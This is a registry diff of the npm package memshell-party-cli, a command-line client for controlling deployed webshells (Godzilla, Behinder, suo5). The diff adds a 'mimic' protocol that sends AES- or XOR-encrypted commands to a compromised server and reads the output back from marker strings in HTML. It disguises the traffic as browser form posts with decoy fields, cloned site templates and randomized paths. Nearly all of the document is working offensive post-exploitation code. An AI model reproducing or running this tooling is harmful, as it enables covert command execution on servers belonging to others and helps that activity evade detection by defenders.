memshell-party-cli 0.3.4 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command9, CommanderError as CommanderError2 } from "commander";
4
+ import { Command as Command10, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
508
508
  if (!isHttps && target.protocol !== "http:") {
509
509
  return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
510
510
  }
511
+ let proxy = null;
512
+ if (!isHttps && process.env.MEMPARTY_PROXY) {
513
+ try {
514
+ proxy = new URL(process.env.MEMPARTY_PROXY);
515
+ } catch {
516
+ return Promise.reject(
517
+ new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
518
+ );
519
+ }
520
+ }
511
521
  return new Promise((resolve2, reject) => {
512
522
  const started = Date.now();
513
523
  const transport = isHttps ? https : http;
514
524
  const req = transport.request(
515
525
  {
516
526
  method: "POST",
517
- hostname: target.hostname,
518
- port: target.port || (isHttps ? 443 : 80),
519
- path: `${target.pathname}${target.search}`,
527
+ hostname: proxy ? proxy.hostname : target.hostname,
528
+ port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
529
+ path: proxy ? target.toString() : `${target.pathname}${target.search}`,
520
530
  // agent:false — never reuse a pooled socket. A shell server may close
521
531
  // the connection right after an empty response, and reusing such a
522
532
  // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1491,18 +1501,537 @@ async function testSuo5(url, options = {}) {
1491
1501
  };
1492
1502
  }
1493
1503
 
1494
- // src/core/oplog.ts
1495
- import { appendFileSync, existsSync, mkdirSync, readFileSync as readFileSync2 } from "fs";
1504
+ // src/connect/mimic.ts
1505
+ import { randomInt as randomInt2 } from "crypto";
1506
+
1507
+ // src/core/site-profile.ts
1508
+ import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
1496
1509
  import { homedir as homedir2 } from "os";
1497
- import { dirname, join as join2 } from "path";
1510
+ import { join as join2 } from "path";
1511
+ function profileTemplates(profile) {
1512
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1513
+ return profile.templates;
1514
+ }
1515
+ if (profile.template) {
1516
+ return [
1517
+ {
1518
+ title: profile.title ?? "",
1519
+ template: profile.template,
1520
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
1521
+ }
1522
+ ];
1523
+ }
1524
+ return [];
1525
+ }
1526
+ function profileRequests(profile) {
1527
+ if (!profile.request) return [];
1528
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
1529
+ }
1530
+ function pickRequestShape(requests) {
1531
+ if (requests.length === 0) return void 0;
1532
+ const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
1533
+ let roll = Math.random() * total;
1534
+ for (const r of requests) {
1535
+ roll -= r.weight ?? 1;
1536
+ if (roll <= 0) return r;
1537
+ }
1538
+ return requests[requests.length - 1];
1539
+ }
1540
+ var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1541
+ function profilesDir() {
1542
+ const override = process.env.MEMPARTY_PROFILES;
1543
+ return override ? override : join2(homedir2(), ".memparty", "profiles");
1544
+ }
1545
+ function profilePath(name) {
1546
+ return join2(profilesDir(), `${name}.json`);
1547
+ }
1548
+ function validateProfile(profile) {
1549
+ if (!NAME_RE.test(profile.name)) {
1550
+ throw new Error(
1551
+ `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
1552
+ );
1553
+ }
1554
+ if (!profile.site || !/^https?:\/\//.test(profile.site)) {
1555
+ throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
1556
+ }
1557
+ const templates = profileTemplates(profile);
1558
+ if (templates.length === 0) {
1559
+ throw new Error("profile needs at least one template (templates[] or legacy template)");
1560
+ }
1561
+ templates.forEach((t, i) => {
1562
+ if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1563
+ throw new Error(`templates[${i}].template must be a full HTML page`);
1564
+ }
1565
+ if (!t.contentType) {
1566
+ throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
1567
+ }
1568
+ });
1569
+ if (!Array.isArray(profile.paths)) {
1570
+ throw new Error("profile.paths must be an array (may be empty)");
1571
+ }
1572
+ for (const [ri, req] of profileRequests(profile).entries()) {
1573
+ if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
1574
+ throw new Error(`request[${ri}].secretField must be a form-field name`);
1575
+ }
1576
+ if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
1577
+ throw new Error(`request[${ri}].secretIn must be body | query | header`);
1578
+ }
1579
+ for (const [i, f] of (req.fields ?? []).entries()) {
1580
+ if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
1581
+ throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
1582
+ }
1583
+ if (f.name === req.secretField) {
1584
+ throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
1585
+ }
1586
+ }
1587
+ }
1588
+ if (profile.cipher !== void 0) {
1589
+ const c = profile.cipher;
1590
+ if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
1591
+ throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
1592
+ }
1593
+ if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
1594
+ throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
1595
+ }
1596
+ if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
1597
+ throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
1598
+ }
1599
+ if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
1600
+ throw new Error("cipher.padTail must be a boolean");
1601
+ }
1602
+ }
1603
+ }
1604
+ function saveProfile(profile) {
1605
+ validateProfile(profile);
1606
+ const dir = profilesDir();
1607
+ mkdirSync(dir, { recursive: true });
1608
+ writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1609
+ `, "utf8");
1610
+ }
1611
+ function loadProfile(name) {
1612
+ const path = profilePath(name);
1613
+ if (!existsSync(path)) {
1614
+ throw new Error(
1615
+ `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1616
+ );
1617
+ }
1618
+ const profile = JSON.parse(readFileSync2(path, "utf8"));
1619
+ validateProfile(profile);
1620
+ return profile;
1621
+ }
1622
+ function listProfiles() {
1623
+ const dir = profilesDir();
1624
+ if (!existsSync(dir)) return [];
1625
+ return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
1626
+ }
1627
+ function profileSkeleton(name, site) {
1628
+ return {
1629
+ name,
1630
+ site: site.replace(/\/+$/, ""),
1631
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
1632
+ templates: [
1633
+ {
1634
+ title: "",
1635
+ template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
1636
+ contentType: "text/html; charset=utf-8"
1637
+ }
1638
+ ],
1639
+ paths: []
1640
+ };
1641
+ }
1642
+
1643
+ // src/connect/mimic-codecs.ts
1644
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
1645
+ var LEGACY_CIPHER = {
1646
+ algorithm: "aes-ecb",
1647
+ encoding: "base64",
1648
+ padTail: false,
1649
+ marker: "js-var"
1650
+ };
1651
+ function resolveCipher(partial) {
1652
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
1653
+ }
1654
+ function xorCrypt(data, key) {
1655
+ const out = Buffer.alloc(data.length);
1656
+ for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
1657
+ return out;
1658
+ }
1659
+ function crypt(data, aesKey, enc, algorithm) {
1660
+ switch (algorithm) {
1661
+ case "aes-ecb":
1662
+ return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
1663
+ case "aes-cbc": {
1664
+ const key = Buffer.from(aesKey, "utf8");
1665
+ if (enc) {
1666
+ const iv = randomBytes3(16);
1667
+ const c = createCipheriv2("aes-128-cbc", key, iv);
1668
+ return Buffer.concat([iv, c.update(data), c.final()]);
1669
+ }
1670
+ const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
1671
+ return Buffer.concat([d.update(data.subarray(16)), d.final()]);
1672
+ }
1673
+ case "xor":
1674
+ return xorCrypt(data, Buffer.from(aesKey, "utf8"));
1675
+ }
1676
+ }
1677
+ function encodeBytes(data, encoding) {
1678
+ switch (encoding) {
1679
+ case "base64":
1680
+ return data.toString("base64");
1681
+ case "base64url":
1682
+ return base64UrlEncode(data);
1683
+ case "hex":
1684
+ return data.toString("hex");
1685
+ }
1686
+ }
1687
+ function decodeString(text, encoding) {
1688
+ switch (encoding) {
1689
+ case "base64":
1690
+ return Buffer.from(text, "base64");
1691
+ case "base64url":
1692
+ return base64UrlDecode(text);
1693
+ case "hex":
1694
+ return Buffer.from(text, "hex");
1695
+ }
1696
+ }
1697
+ function padTailLength(aesKey) {
1698
+ return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
1699
+ }
1700
+ var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
1701
+ function appendPad(text, aesKey) {
1702
+ const n = padTailLength(aesKey);
1703
+ if (n === 0) return text;
1704
+ const raw = randomBytes3(n);
1705
+ let tail = "";
1706
+ for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
1707
+ return text + tail;
1708
+ }
1709
+ function stripPad(text, aesKey) {
1710
+ const n = padTailLength(aesKey);
1711
+ return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
1712
+ }
1713
+ function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
1714
+ let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
1715
+ if (cipher.padTail) out = appendPad(out, aesKey);
1716
+ return out;
1717
+ }
1718
+ function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
1719
+ let text = value;
1720
+ if (cipher.padTail) text = stripPad(text, aesKey);
1721
+ return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
1722
+ }
1723
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
1724
+ const id = md5Hex(pass + secretKey).slice(0, 5);
1725
+ if (cipher.marker === "html-comment") {
1726
+ const left2 = `<!--Re${id}_config:`;
1727
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
1728
+ }
1729
+ const left = `var Re${id}_config="`;
1730
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
1731
+ }
1732
+
1733
+ // src/connect/mimic-shared.ts
1734
+ import { randomBytes as randomBytes4, randomInt, randomUUID } from "crypto";
1735
+ function deriveAesKey(secretKey) {
1736
+ return md5Key16(secretKey);
1737
+ }
1738
+ function renderFieldValue(value) {
1739
+ return value.replaceAll(
1740
+ /\{\{hex:(\d+)\}\}/g,
1741
+ (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
1742
+ ).replaceAll(
1743
+ /\{\{b64:(\d+)\}\}/g,
1744
+ (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
1745
+ ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
1746
+ /\{\{int:(\d+):(\d+)\}\}/g,
1747
+ (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
1748
+ );
1749
+ }
1750
+ var RIGHT_MARKER = '";';
1751
+ function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
1752
+ return encryptField(plaintext, aesKey, cipher);
1753
+ }
1754
+ function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
1755
+ return decryptField(value, aesKey, cipher);
1756
+ }
1757
+ function buildFormBody(fields) {
1758
+ return Buffer.from(
1759
+ fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
1760
+ "utf8"
1761
+ );
1762
+ }
1763
+ function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1764
+ const text = body.toString("utf8");
1765
+ for (const pair of text.split("&")) {
1766
+ const eq = pair.indexOf("=");
1767
+ if (eq <= 0) continue;
1768
+ if (pair.slice(0, eq) !== pass) continue;
1769
+ const value = decodeURIComponent(pair.slice(eq + 1));
1770
+ try {
1771
+ return decryptField2(value, aesKey, cipher);
1772
+ } catch {
1773
+ return null;
1774
+ }
1775
+ }
1776
+ return null;
1777
+ }
1778
+ function injectFragment(templateHtml, fragment) {
1779
+ const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
1780
+ if (idx === -1) return templateHtml + fragment;
1781
+ return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
1782
+ }
1783
+ function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
1784
+ const start = html.indexOf(leftMarker);
1785
+ if (start === -1) return null;
1786
+ const valueStart = start + leftMarker.length;
1787
+ const end = html.indexOf(rightMarker, valueStart);
1788
+ if (end === -1) return null;
1789
+ return html.slice(valueStart, end);
1790
+ }
1791
+
1792
+ // src/connect/mimic.ts
1793
+ var BROWSER_HEADERS = {
1794
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
1795
+ Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
1796
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
1797
+ "Content-Type": "application/x-www-form-urlencoded"
1798
+ };
1799
+ function buildContext(req) {
1800
+ const pass = req.conn.pass ?? "pass";
1801
+ const secretKey = req.conn.key ?? "key";
1802
+ let profile;
1803
+ const profileName = req.options.profile ?? req.conn.profile;
1804
+ if (profileName) {
1805
+ profile = loadProfile(profileName);
1806
+ }
1807
+ const cipher = resolveCipher(profile?.cipher);
1808
+ return {
1809
+ pass,
1810
+ aesKey: deriveAesKey(secretKey),
1811
+ cipher,
1812
+ markers: deriveMarkers(pass, secretKey, cipher),
1813
+ profile,
1814
+ dynamicPath: req.options.dynamicPath ?? false
1815
+ };
1816
+ }
1817
+ function pickRequestUrl(connUrl, ctx) {
1818
+ if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
1819
+ return connUrl;
1820
+ }
1821
+ const origin = new URL(connUrl).origin;
1822
+ const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
1823
+ const slug = randomString(8).toLowerCase();
1824
+ return `${origin}${dir}${slug}`;
1825
+ }
1826
+ async function roundTrip(req, ctx, plaintext) {
1827
+ let requestUrl = pickRequestUrl(req.conn.url, ctx);
1828
+ const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
1829
+ const secretField = shape?.secretField ?? ctx.pass;
1830
+ const secretIn = shape?.secretIn ?? "body";
1831
+ const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
1832
+ const decoys = (shape?.fields ?? []).map((f) => ({
1833
+ name: f.name,
1834
+ value: renderFieldValue(f.value)
1835
+ }));
1836
+ let body;
1837
+ const extraHeaders = {};
1838
+ if (secretIn === "query") {
1839
+ const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
1840
+ requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
1841
+ body = Buffer.alloc(0);
1842
+ } else if (secretIn === "header") {
1843
+ extraHeaders[secretField] = cipher;
1844
+ body = buildFormBody(decoys);
1845
+ } else {
1846
+ body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
1847
+ }
1848
+ const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
1849
+ let res;
1850
+ try {
1851
+ res = await postRaw(requestUrl, body, {
1852
+ headers,
1853
+ timeoutMs: req.common.timeoutMs,
1854
+ insecure: req.common.insecure
1855
+ });
1856
+ } catch (err) {
1857
+ return {
1858
+ ok: false,
1859
+ error: err instanceof Error ? err.message : String(err),
1860
+ requestUrl,
1861
+ status: 0,
1862
+ durationMs: 0
1863
+ };
1864
+ }
1865
+ if (res.status !== 200) {
1866
+ return {
1867
+ ok: false,
1868
+ error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
1869
+ requestUrl,
1870
+ status: res.status,
1871
+ durationMs: res.durationMs
1872
+ };
1873
+ }
1874
+ const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
1875
+ if (b64 === null) {
1876
+ return {
1877
+ ok: false,
1878
+ error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
1879
+ requestUrl,
1880
+ status: res.status,
1881
+ durationMs: res.durationMs
1882
+ };
1883
+ }
1884
+ try {
1885
+ const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
1886
+ return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
1887
+ } catch {
1888
+ return {
1889
+ ok: false,
1890
+ error: "response decryption failed \u2014 wrong key?",
1891
+ requestUrl,
1892
+ status: res.status,
1893
+ durationMs: res.durationMs
1894
+ };
1895
+ }
1896
+ }
1897
+ var mimicProtocol = {
1898
+ name: "mimic",
1899
+ description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
1900
+ async test(req) {
1901
+ const started = Date.now();
1902
+ const tool = "mimic";
1903
+ const url = req.conn.url;
1904
+ let ctx;
1905
+ try {
1906
+ ctx = buildContext(req);
1907
+ } catch (err) {
1908
+ return {
1909
+ ok: false,
1910
+ tool,
1911
+ url,
1912
+ error: err instanceof Error ? err.message : String(err),
1913
+ durationMs: Date.now() - started
1914
+ };
1915
+ }
1916
+ const canary = randomString(12);
1917
+ const r = await roundTrip(req, ctx, `echo ${canary}`);
1918
+ if (!r.ok) {
1919
+ return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
1920
+ }
1921
+ if (!r.output.includes(canary)) {
1922
+ return {
1923
+ ok: false,
1924
+ tool,
1925
+ url,
1926
+ error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
1927
+ durationMs: Date.now() - started
1928
+ };
1929
+ }
1930
+ const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
1931
+ const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
1932
+ return {
1933
+ ok: true,
1934
+ tool,
1935
+ url,
1936
+ detail: `round-trip ok (${profileNote}; ${pathNote})`,
1937
+ durationMs: Date.now() - started
1938
+ };
1939
+ },
1940
+ async exec(req, command) {
1941
+ const started = Date.now();
1942
+ const tool = "mimic";
1943
+ const url = req.conn.url;
1944
+ let ctx;
1945
+ try {
1946
+ ctx = buildContext(req);
1947
+ } catch (err) {
1948
+ return {
1949
+ ok: false,
1950
+ tool,
1951
+ url,
1952
+ command,
1953
+ error: err instanceof Error ? err.message : String(err),
1954
+ durationMs: Date.now() - started
1955
+ };
1956
+ }
1957
+ const r = await roundTrip(req, ctx, command);
1958
+ if (!r.ok) {
1959
+ return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
1960
+ }
1961
+ return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
1962
+ }
1963
+ };
1964
+
1965
+ // src/connect/registry.ts
1966
+ var protocols = /* @__PURE__ */ new Map();
1967
+ function registerProtocol(protocol) {
1968
+ protocols.set(protocol.name, protocol);
1969
+ }
1970
+ function getProtocol(name) {
1971
+ return protocols.get(name);
1972
+ }
1973
+ function protocolNames(capability) {
1974
+ const all = [...protocols.values()];
1975
+ const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
1976
+ return usable.map((p) => p.name);
1977
+ }
1978
+ function requireProtocol(name) {
1979
+ const protocol = getProtocol(name);
1980
+ if (!protocol) {
1981
+ throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
1982
+ }
1983
+ return protocol;
1984
+ }
1985
+ function unsupportedMessage(protocol, capability) {
1986
+ return `protocol '${protocol.name}' does not support ${capability}`;
1987
+ }
1988
+ var godzillaProtocol = {
1989
+ name: "godzilla",
1990
+ description: "Godzilla JAVA_AES_BASE64 shell",
1991
+ test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
1992
+ exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
1993
+ ...common,
1994
+ os: options.os
1995
+ }),
1996
+ upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
1997
+ ...common,
1998
+ remoteCharset: options.remoteCharset
1999
+ }),
2000
+ download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
2001
+ ...common,
2002
+ remoteCharset: options.remoteCharset
2003
+ })
2004
+ };
2005
+ var behinderProtocol = {
2006
+ name: "behinder",
2007
+ description: "Behinder AES shell",
2008
+ test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
2009
+ exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
2010
+ upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
2011
+ download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
2012
+ };
2013
+ var suo5Protocol = {
2014
+ name: "suo5",
2015
+ description: "suo5 HTTP tunnel (connect test only)",
2016
+ test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
2017
+ };
2018
+ registerProtocol(godzillaProtocol);
2019
+ registerProtocol(behinderProtocol);
2020
+ registerProtocol(suo5Protocol);
2021
+ registerProtocol(mimicProtocol);
2022
+
2023
+ // src/core/oplog.ts
2024
+ import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
2025
+ import { homedir as homedir3 } from "os";
2026
+ import { dirname, join as join3 } from "path";
1498
2027
  var OUTPUT_LIMIT = 2e3;
1499
2028
  function opLogPath() {
1500
- return process.env.MEMPARTY_OPLOG ?? join2(homedir2(), ".memparty", "operations.jsonl");
2029
+ return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
1501
2030
  }
1502
2031
  function logOp(entry) {
1503
2032
  try {
1504
2033
  const file = opLogPath();
1505
- mkdirSync(dirname(file), { recursive: true });
2034
+ mkdirSync2(dirname(file), { recursive: true });
1506
2035
  appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
1507
2036
  `);
1508
2037
  } catch {
@@ -1512,8 +2041,8 @@ function readOps(filter = {}) {
1512
2041
  let entries = [];
1513
2042
  try {
1514
2043
  const file = opLogPath();
1515
- if (existsSync(file)) {
1516
- for (const line of readFileSync2(file, "utf8").split("\n")) {
2044
+ if (existsSync2(file)) {
2045
+ for (const line of readFileSync3(file, "utf8").split("\n")) {
1517
2046
  const trimmed = line.trim();
1518
2047
  if (!trimmed) continue;
1519
2048
  try {
@@ -1558,25 +2087,25 @@ function formatOp(e) {
1558
2087
  }
1559
2088
 
1560
2089
  // src/core/targets.ts
1561
- import { existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3, writeFileSync } from "fs";
1562
- import { homedir as homedir3 } from "os";
1563
- import { dirname as dirname2, join as join3 } from "path";
1564
- var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
2090
+ import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
2091
+ import { homedir as homedir4 } from "os";
2092
+ import { dirname as dirname2, join as join4 } from "path";
2093
+ var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1565
2094
  function checkName(kind, name) {
1566
- if (!NAME_RE.test(name)) {
2095
+ if (!NAME_RE2.test(name)) {
1567
2096
  throw new Error(
1568
2097
  `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
1569
2098
  );
1570
2099
  }
1571
2100
  }
1572
2101
  function targetStorePath() {
1573
- return process.env.MEMPARTY_TARGETS ?? join3(homedir3(), ".memparty", "targets.json");
2102
+ return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
1574
2103
  }
1575
2104
  function listProjects() {
1576
2105
  try {
1577
2106
  const file = targetStorePath();
1578
- if (!existsSync2(file)) return {};
1579
- const data = JSON.parse(readFileSync3(file, "utf8"));
2107
+ if (!existsSync3(file)) return {};
2108
+ const data = JSON.parse(readFileSync4(file, "utf8"));
1580
2109
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
1581
2110
  return data;
1582
2111
  }
@@ -1589,8 +2118,8 @@ function getProject(name) {
1589
2118
  }
1590
2119
  function writeProjects(projects) {
1591
2120
  const file = targetStorePath();
1592
- mkdirSync2(dirname2(file), { recursive: true });
1593
- writeFileSync(file, `${JSON.stringify(projects, null, 2)}
2121
+ mkdirSync3(dirname2(file), { recursive: true });
2122
+ writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
1594
2123
  `, { mode: 384 });
1595
2124
  }
1596
2125
  function saveProjectMeta(name, meta) {
@@ -1697,7 +2226,8 @@ function autoSaveShell(conn) {
1697
2226
  headerName: conn.headerName,
1698
2227
  headerValue: conn.headerValue,
1699
2228
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1700
- insecure: conn.insecure
2229
+ insecure: conn.insecure,
2230
+ profile: conn.profile
1701
2231
  });
1702
2232
  return `${projectName}/${shellName}`;
1703
2233
  }
@@ -1739,7 +2269,7 @@ function resolveConnection(ref, flags) {
1739
2269
  throw new Error("no URL \u2014 pass --url or a saved target name");
1740
2270
  }
1741
2271
  if (!tool) {
1742
- throw new Error("--tool is required (godzilla | behinder | suo5)");
2272
+ throw new Error("--tool is required \u2014 see the command's --help for available protocols");
1743
2273
  }
1744
2274
  return {
1745
2275
  url,
@@ -1750,6 +2280,7 @@ function resolveConnection(ref, flags) {
1750
2280
  headerValue: flags.headerValue ?? stored?.headerValue,
1751
2281
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
1752
2282
  insecure: flags.insecure ?? stored?.insecure,
2283
+ profile: flags.profile ?? stored?.profile,
1753
2284
  targetName
1754
2285
  };
1755
2286
  }
@@ -1768,10 +2299,8 @@ function parseExtraHeaders(lines) {
1768
2299
  }
1769
2300
  function registerConnectCommand(program) {
1770
2301
  program.command("connect").description(
1771
- "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
1772
- ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1773
- new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
1774
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
2302
+ "Test whether a deployed webshell is alive and the credentials work"
2303
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
1775
2304
  "--header-name <name>",
1776
2305
  "gate header name reported by gen (shellToolConfig.headerName)"
1777
2306
  ).option(
@@ -1779,7 +2308,7 @@ function registerConnectCommand(program) {
1779
2308
  "gate header value reported by gen (shellToolConfig.headerValue)"
1780
2309
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
1781
2310
  new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
1782
- ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2311
+ ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
1783
2312
  "after",
1784
2313
  `
1785
2314
  Examples:
@@ -1788,6 +2317,8 @@ Examples:
1788
2317
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1789
2318
  --header-value my-secret-token
1790
2319
  $ memparty connect -u http://target/suo5.jsp -t suo5
2320
+ $ memparty connect -u http://target/ -t mimic --pass pass --key key \\
2321
+ --profile target-site --dynamic-path
1791
2322
  $ memparty connect web222 # saved target, see 'memparty list'
1792
2323
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
1793
2324
 
